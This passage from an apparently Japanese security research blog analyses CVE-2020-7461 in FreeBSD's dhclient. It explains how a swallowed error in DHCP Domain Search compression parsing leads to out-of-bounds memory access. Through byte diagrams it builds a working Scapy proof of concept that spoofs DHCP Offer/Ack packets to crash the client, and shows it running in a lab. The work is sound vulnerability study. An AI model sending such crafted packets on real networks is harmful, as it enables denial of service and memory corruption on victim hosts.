                warning("Invalid forward pointer in DHCP "
                    "Domain Search option compression.");
                return (-1);
            }

            pointed_len = find_search_domain_name_len(option,
                &pointer);
            if (pointed_len < 0)
                return (-1);
            domain_name_len += pointed_len;

            *offset = i + 2;
            return (domain_name_len);
        }

        if (i + label_len >= option->len) {
            warning("Truncated label in DHCP Domain Search "
                "option.");
            return (-1);
        }

        /*
        * Update the domain name length with the length of the
        * current label, plus a trailing dot ('.').
        */
        domain_name_len += label_len + 1;

        /* Move cursor. */
        i += label_len + 1;
    }

    warning("Truncated DHCP Domain Search option.");

    return (-1);
}

https://github.com/freebsd/freebsd-src/blob/373ffc62c158e52cde86a5b934ab4a51307f9f2e/sbin/dhclient/options.c#L260-L328

いつものことですがブログの説明だけ見ても理解しにくいと思うのでGitHub上でソースコードを合わせて確認すると良いです。

上の処理の中で特に以下に着目します。

         pointer = ((label_len & ~(0xC0)) << 8) +
                option->data[i + 1];
            if (pointer >= *offset) {
                /*
                * The pointer must indicate a prior
                * occurrence.
                */
                warning("Invalid forward pointer in DHCP "
                    "Domain Search option compression.");
                return (-1);
            }

そうなのです。実は既にFreeBSDでは圧縮ポインタが不正に先を指していないかなどをチェックしていました。つまり 0xff 0xff などにするとこのif文に吸い込まれてエラーになります。-1が返ると他の処理は終わってしまうため攻撃は成立しません。

じゃあ何が問題なのか?ということで先程の修正箇所についてもう少し見てみます。

         pointed_len = find_search_domain_name_len(option,
                &pointer);
            if (pointed_len < 0)
                return (-1);
            domain_name_len += pointed_len;

            *offset = i + 2;
            return (domain_name_len);

find_search_domain_name_len() の中で find_search_domain_name_len() を呼んでいます。これは圧縮ポインタの指す先を読むために再帰の実装になっています。しかし元々はこの再帰で呼ばれた find_search_domain_name_len()の戻り値である ponted_len のチェックは行われていませんでした。つまりポインタが指す先で起きたエラーは握りつぶされています。

DHCPのオプションとして圧縮ポインタを入れると、まず find_search_domain_name_len() の内部で find_search_domain_name_len() が呼ばれます。そしてそのポインタが指す先がさらに圧縮ポインタになっていて、その指す先が不正だったたとしてもそのエラーは握りつぶされます。

ですが、エラーが握りつぶされたとしてもバリデーションによって実際のオフセットを読みに行ってくれないなら意味がないじゃないかと思われるかもしれませんが、この find_search_domain_name_len()は実は単にドメイン名の長さを計算する関数になっています。そこで得られたドメイン名の長さを基にバッファを確保し、その後実際に expand_search_domain_name()ドメイン名をパースします。

expand_search_domain_name() の実装を載せておきます。

void
expand_search_domain_name(struct option_data *option, size_t *offset,
    unsigned char **domain_search)
{
    int label_len;
    size_t i, pointer;
    unsigned char *cursor;

    /*
    * This is the same loop than the function above
    * (find_search_domain_name_len). Therefore, we remove checks,
    * they're already done. Here, we just make the copy.
    */
    i = *offset;
    cursor = *domain_search;
    while (i < option->len) {
        label_len = option->data[i];
        if (label_len == 0) {
            /*
            * A zero-length label marks the end of this
            * domain name.
            */
            *offset = i + 1;
            *domain_search = cursor;
            return;
        } else if (label_len & 0xC0) {
            /* This is a pointer to another list of labels. */
            pointer = ((label_len & ~(0xC0)) << 8) +
                option->data[i + 1];

            expand_search_domain_name(option, &pointer, &cursor);

            *offset = i + 2;
            *domain_search = cursor;
            return;
        }

        /* Copy the label found. */
        memcpy(cursor, option->data + i + 1, label_len);
        cursor[label_len] = '.';

        /* Move cursor. */
        i += label_len + 1;
        cursor += label_len + 1;
    }
}

https://github.com/freebsd/freebsd-src/blob/373ffc62c158e52cde86a5b934ab4a51307f9f2e/sbin/dhclient/options.c#L330-L375

find_search_domain_name_len()とよく似ていますがシンプルになっています。そしてコメントに非常に興味深いことが書いてあります。

This is the same loop than the function above (find_search_domain_name_len). Therefore, we remove checks, they're already done. Here, we just make the copy.

バリデーションは既にfind_search_domain_name_len() で終わっているので、 expand_search_domain_name() 内ではそういったチェックを行わず単にドメイン名をパースすると言っています。これを読んだ時に全てが理解できました。

つまり、ペイロードをうまく選んでfind_search_domain_name_len() のバリデーションをすり抜けて、expand_search_domain_name() 内で実際に領域外のメモリアクセスを行います。

DHCP Discover/Offer/Request/Ack

DHCPプロトコルはまず最初誰に問い合わせるかも分からないところから始まるのでDHCPクライアントはブロードキャストでDHCPDISCOVERを投げます。そしてDHCPサーバからこのIPアドレスどう?というDHCPOFFERが届いて、実際にそのアドレスをクライアントがDHCPREQUESTしてサーバがDHCPACKを返すという流れです。Wikiの図を引用しておきます。

https://upload.wikimedia.org/wikipedia/commons/thumb/e/e4/DHCP_session.svg/520px-DHCP_session.svg.png

DISCOVERYじゃなくてDISCOVERじゃないんだっけ?という疑問がありますが今回は関係ないので一度忘れます。

この各メッセージの詳細は今回のPoCの本筋とは関係ないですが悪意あるAckを返すためにOfferなども偽装する必要があります。その辺りの実装も載せておきます。今回も例によってPythonのScapyで書いています。

chaddr = binascii.unhexlify(eth.src.replace(":", ""))

ethernet = Ether(dst=eth.src, src=src_mac)
ip = IP(dst=dst_addr, src=src_addr)
udp = UDP(sport=udp.dport, dport=udp.sport)
bootp = BOOTP(
    op="BOOTREPLY",
    yiaddr=dst_addr,
    siaddr=gateway,
    chaddr=chaddr,
    xid=bootp.xid,
)
dhcp = DHCP(
    options=[
        ("message-type", "offer"),
        ("server_id", src_addr),
        ("subnet_mask", subnet_mask),
        ("end"),
    ]
)

ack = ethernet / ip / udp / bootp / dhcp
sendp(ack, iface=iface)

あまり重要じゃないので、ふーんぐらいに思っておいてもらえばOKです。各変数はこの処理の外で定義されているので、気になる人はあとでGitHubの方を確認してください。

そして肝心なのがDHCP Ackで、このオプションに細工した値を入れていきます。Offerとほぼ同じなのでDHCPの部分だけ載せておきます。

dhcp = DHCP(
    options=[
        ("message-type", "ack"),
        ("server_id", src_addr),
        ("lease_time", 43200),
        ("subnet_mask", subnet_mask),
        (119, b""),
        ("end"),
     ]
)

残念ながらScapyはDHCPオプション119に対応していなかったので自前でペイロードを組み立てる必要があります。上では今 b"" になっていますがこの部分にペイロードを入れていきます。

PoC組み立て

先程説明したように、最初の圧縮ポインタは自分より前を正しく指す必要があります。つまり、以下のようにオフセットを 0xff にするだけだと Invalid forward pointer とエラーが出て終了してしまいます。

+---+---+---+---+
| 1 |'A'|xC0|xFF|
+---+---+---+---+

では次にシンプルに 0x00 で先頭を指してみます。

+---+---+---+---+
| 1 |'A'|xC0|x00|
+---+---+---+---+

ですがこれも実は動きません。 Invalid forward pointer のところのif文は以下のようになっています。

if (pointer >= *offset) {

この offset は最初0になっているため、 pointer がいくつになろうとここに吸われてしまいます。

ではどうすればよいかと言うと、圧縮ポインタを含むドメイン名の前に他のドメイン名があれば良いです。元々それが圧縮ポインタの目的なので、より正しい見た目に近づけるという感じです。

+---+---+---+---+---+
| 1 |'A'|x00|xC0|x00|
+---+---+---+---+---+

これは正しく動きます。まず長さ1の A というラベルが取り出されます。そしてその次がNULLになっているので終端し、 A. というドメイン名になります。そして次のドメイン名取り出しのループになり、 0xc0 が参照されます。そしてオフセットが計算され、0であるため先頭を参照します。つまり A. というドメイン名とそれを参照して得られた A. というドメイン名の2つが含まれることになります。

ポインタの指す先は本来ラベルの長さにしなければなりませんが、少しずらしてラベル内の値にしてみます。最初のドメイン名の中に値を入れ、オフセットがそこを指すようにします。そうするとその値がラベル長として解釈されます。 xFF などにしたくなりますが、 xFF は上位2ビットが 0b11 のため圧縮ポインタ判定されます。というかFreeBSDの実装は実は間違っていて label_len & 0xC0 しているので上位2ビットのいずれかが1なら圧縮ポインタ判定されます。これも解釈の違いで脆弱性の違いになりうるとペーパー内で説明されています。ということでラベル長の表現をしたければ64未満にする必要があります。今回は x3F=63 にします。

+---+---+---+---+---+
| 1 |x3F|x00|xC0|x01|
+---+---+---+---+---+

まず長さ1の 0x3f というラベルが取り出されます。これは一見不正に見えますが、DNSでは実態としてどのようなバイトでも受け入れなければならないため実装も不正なバイトを弾く処理などは通常入っていません。その辺りもペーパー内で説明されているので興味がある方はどうぞ。そして圧縮ポインタに到達し、オフセットが1のため 0xc0 を参照します。すると find_search_domain_name_len() が再度呼ばれwhileループに入るのですが、長さが 0x3f になっています。これはラベル長と解釈されるため長さが63バイトになりますが、FreeBSDはその辺りもちゃんとバリデーションが入っており Truncated label in DHCP Domain Search option というエラーになります。 if (i + label_len >= option->len) { この処理でラベル長が全体の長さを超える場合にエラーにしています。

しかし前述した通りこのエラーは握りつぶされるため、処理は止まりません。通常通り以下の処理が進められます。

domain_name_len += pointed_len;

*offset = i + 2;
return (domain_name_len);

その結果、63バイト読み込まれるので領域外アクセス成功と思いきや、実際にはエラーで止まってしまいます。なぜかと言うと pointed_len は-1になっているため、 domain_name_len += pointed_len; の処理によって domain_name_len も-1になってしまうためです。そうするとたとえreturn (domain_name_len); により正常に返したとしても呼び出し側では負の値が返ってきたのでエラーと判定してしまいます。

ではどう回避すれば良いかというと、 domain_name_len が負にならないように圧縮ポインタの前にラベルを足します。つまり以下のようになります。

+---+---+---+---+---+---+---+
| 1 |x3F|x00| 1 |'A'|xC0|x01|
+---+---+---+---+---+---+---+

こうすると圧縮ポインタを読み込む前に A というラベルが取り出され domain_name_len は1になっているため、-1されても0になります。

流れは以下のようになります。

  1. find_search_domain_name_len()が呼ばれる
    1. 1つ目のドメイン名処理
      1. 2バイトのラベル xC0 xFF が取り出される
      2. NULLが来たので終了
    2. 2つ目のドメイン名処理
      1. 1バイトのラベル A が取り出される
      2. xC0 が来たのでオフセットを計算する。今回は1バイトになる。
      3. find_search_domain_name_len()が呼ばれる
        1. ラベル長 x3F を取り出す
        2. このラベル長 label_lenペイロード全体より大きいので Truncated label in DHCP Domain Search option でエラーになる
      4. -1が返るが pointed_len が負の値でもエラーは握りつぶされ domain_name_len に足される
  2. find_search_domain_name_len() によって返された domain_name_len に基づきバッファを確保
  3. expand_search_domain_name() が呼ばれる
    1. find_search_domain_name_len() と同様の処理が行われる
    2. ただしバリデーションがないため label_len が63バイトでもエラーにならない
    3. memcpy(cursor, option->data + i + 1, label_len); により63バイト読み込まれる

という流れで無事に領域外のメモリアクセスが出来ます。Readが出来るのは分かったけどWriteはどうなんだ?というと、上述したように domain_name_len は-1されることで長さがずれます。つまり確保された領域より実際にはドメイン名は大きくなるため領域外への書き込みもできます。この辺りはNucleus NETで説明したのと同じです。ラベル内に書き込みたいバイト列を置いておけば攻撃可能です。

ということでRCEに繋げられる可能性のある攻撃ペイロードについて解説しましたが、自分のPoCでは無限ループにしておきます。ポインタの指す先をさらにポインタにして自分を指します。そうするとエラーは握りつぶされつつ自分を参照してしまうので無限ループになります。

+---+---+---+---+---+---+---+---+
| 2 |xC0|x01|x00| 1 |'A'|xC0|x01|
+---+---+---+---+---+---+---+---+

ということで完成です。自己参照している方のポインタはエラーになりますが例によって握りつぶされるので expand_search_domain_name() で無限ループになります。

最終的なPythonコードを載せておきます。

dhcp = DHCP(
    options=[
        ("message-type", "ack"),
        ("server_id", src_addr),
        ("lease_time", 43200),
        ("subnet_mask", subnet_mask),
        (
            119,
            b"\x02\xc0\x01\x00\x01\x41\xc0\x01",
        ),
        ("end"),
    ]
)

PoC実行

では実行してみます。リポジトリは以下にあります。

github.com

Vagrantで環境を作るのですが、VirtualBoxがホストオンリーアダプターでデフォルトでDHCPサーバを有効にしており、そのサーバがDHCPOFFERを返してしまうせいでうまくいきません。無効にしておきましょう。

f:id:knqyf263:20210416192135p:plain

なお、自分はDHCPサーバを無効にしたのにうまく無効になってくれずVM再起動や色々試したのですがやはりダメでした。最終的にはVirtualBoxも落としてみたりガチャガチャやってたら無効になってくれたのですが、どうやると完全にうまくいくのか分かってないです。PoC書く中でここに一番時間かかりました。

攻撃の流れは以下のようになります。

f:id:knqyf263:20210416192215p:plain

まず適当にVagrantFreeBSDを起動します。

$ cd victim
$ vagrant up

あとは攻撃者用のVMも起動してpythonやら上記のPoCをダウンロードしておきます。

$ cd ../attacker
$ vagrant up
$ vagrant ssh
vagrant@vagrant:~$ sudo apt -y update && apt -y install python3 python3-pip
vagrant@vagrant:~$ wget https://raw.githubusercontent.com/knqyf263/CVE-2020-7461/main/poc.py

これで準備は完了です。

PoCを実行します。

vagrant@vagrant:~$ python3 poc.py
Sniffing...

これでDHCPのブロードキャストを待ち受ける状態になっています。あとは別ターミナルを開いてFreeBSD側でDHCPOFFERを出せばOKです。

$ cd victim
$ vagrant ssh
vagrant@freebsd:~ % sudo dhclient em1
DHCPREQUEST on em1 to 255.255.255.255 port 67
Invalid forward pointer in DHCP Domain Search option compression.
Segmentation fault

暫く待つと Segmentation fault が出ます。無限ループした結果、メモリが溢れて死んでいます。

ということでPoC完成です。さらーっと説明しましたが完全に0から自分で書いたので結構時間かかりました。でも面白かったです。

参考URL

まとめ

DNSメッセージの圧縮実装不備による脆弱性であるNAME:WRECKについて解説しPoCを書くところまで行いました。IoT/OT機器を管理している人にとっては無視できない脆弱性かなと思います。一方でFreeBSDのみ運用している人はDHCPを細工する必要があり攻撃難易度はかなり高いので、緊急性は低いかと思います。さらにFreeBSDサンドボックス内でdhclientで実行するようになっているので攻撃ができる環境が整ってもRCEまで持っていくのは困難です。

今回の脆弱性は比較的簡単だったのでペーパーはすぐに理解できましたが、いざPoC書いてみたら案の定がっつり時間かかったのでいつも言っていますがやはり手を動かすことを忘れないようにしたいです。